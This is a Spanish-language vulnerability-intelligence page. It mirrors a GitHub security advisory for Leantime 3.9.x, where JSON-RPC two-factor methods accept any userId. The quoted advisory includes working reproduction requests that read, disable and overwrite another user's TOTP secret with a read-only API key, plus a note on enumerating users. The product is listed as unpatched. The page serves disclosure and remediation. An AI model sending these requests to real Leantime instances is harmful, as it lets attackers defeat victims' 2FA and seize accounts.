llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · leantime/leantime

GHSA-HM6C-V95G-65HV

Any API user can read, disable, or overwrite another account's two-factor authentication (Leantime 3.9.8)

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
8.1
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición50 dDesde la divulgación, 2 oct 2026, 10:33 a. m.
Detección47 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. No hay versión corregida: aplique mitigaciones.
Hoy es tranquila, pero podría madrugarte.Hmm… no me convence. Vigílala de cerquita.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
2 oct 26
6 oct 26
19 nov 26
21 nov 26
2 oct 26
15 oct 26
27 oct 26
9 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-HM6C-V95G-65HV divulgada · CVSS 8.1 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
The JSON-RPC API exposes four `TwoFA` service methods that take a `userId` from the caller and never check it against the logged-in identity. Any account that can reach the API can point these methods at someone else's user id and read their TOTP secret, turn their 2FA off, or replace their secret with one the attacker controls. The victim's role does not matter: a read-only API key is enough to take over an owner or admin account's second factor.

### Root cause
`app/Domain/TwoFA/Services/TwoFA.php` has `getSetupData`, `saveSecret`, `verifyAndEnable`, and `disable2FA`. All four are marked `@api` (so they are callable over JSON-RPC), all four accept `int $userId`, and none of them carry a `#[RequiresPermission]` attribute or an in-body ownership check. Example:

public function disable2FA(int $userId): void
{
    $this->userRepo->patchUser($userId, ['twoFAEnabled' => 0, 'twoFASecret' => null]);
}

The only legitimate caller, `app/Domain/TwoFA/Controllers/Edit.php`, always passes `session('userdata.id')`, so these methods were meant to act on the current user only. Nothing enforces that. Leantime's central `PermissionEnforcer` runs at the RPC dispatch boundary but is a no-op for methods that have no `#[RequiresPermission]` attribute, so the call goes straight through with the attacker's `userId`.

### Prerequisites
A JSON-RPC credential. `/api/jsonrpc` does not accept the web session, so the caller needs an `x-api-key` (an API key of any role, including read-only) or a personal access token. The credential's role is irrelevant to the outcome.

### Steps to reproduce
Victim is user id 14 with 2FA enabled. Attacker holds a read-only API key.

Read the victim's TOTP secret:

POST /api/jsonrpc HTTP/1.1
Host: localhost:5080
Content-Type: application/json
x-api-key: lt_burpreadonly_deadbeefdeadbeefdeadbeefdeadbeef
Content-Length: 96

{"jsonrpc":"2.0","id":1,"method":"leantime.rpc.twoFA.twoFA.getSetupData","params":{"userId":14}}

Response:

{"jsonrpc":"2.0","result":{"secret":"JBSWY3DPEHPK3PXP","qrData":null,"twoFAEnabled":true},"id":1}

Disable the victim's 2FA:

POST /api/jsonrpc HTTP/1.1
Host: localhost:5080
Content-Type: application/json
x-api-key: lt_burpreadonly_deadbeefdeadbeefdeadbeefdeadbeef
Content-Length: 94

{"jsonrpc":"2.0","id":2,"method":"leantime.rpc.twoFA.twoFA.disable2FA","params":{"userId":14}}

Overwrite the victim's secret with an attacker-known value:

POST /api/jsonrpc HTTP/1.1
Host: localhost:5080
Content-Type: application/json
x-api-key: lt_burpreadonly_deadbeefdeadbeefdeadbeefdeadbeef
Content-Length: 138

{"jsonrpc":"2.0","id":3,"method":"leantime.rpc.twoFA.twoFA.saveSecret","params":{"userId":14,"secret":"GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ"}}

<img width="1608" height="745" alt="Screenshot 2026-07-15 at 9 24 34 PM" src="https://github.com/user-attachments/assets/f88deeaf-1221-42bf-ae33-adc21e782f42" />

Re-sending the first request confirms each change (the secret is now the attacker's value, `twoFAEnabled` is false).

Iterating `userId` over Burp Intruder maps every account and flags which ones have 2FA on.

### Impact
This defeats 2FA on any account. An attacker who also has or phishes the password walks past the second factor by turning it off, or keeps long-term access by planting a TOTP seed they can generate codes for. Because a minimal-privilege credential reaches admin and owner accounts, it is also a privilege-escalation path.

### Suggested fix
Pin every one of these methods to `session('userdata.id')` and reject a `userId` that does not match, or add `#[RequiresPermission]` scoped to the caller's own identity. There is no admin-on-behalf 2FA flow, so self-only is the correct rule.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
leantime/leantime≥ 3.9.0 ≤ 3.9.8
3.9.0
3.9.8
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistleantime/leantime
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Leantime/leantime/security/advisories/GHSA-hm6c-v95g-65hv

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.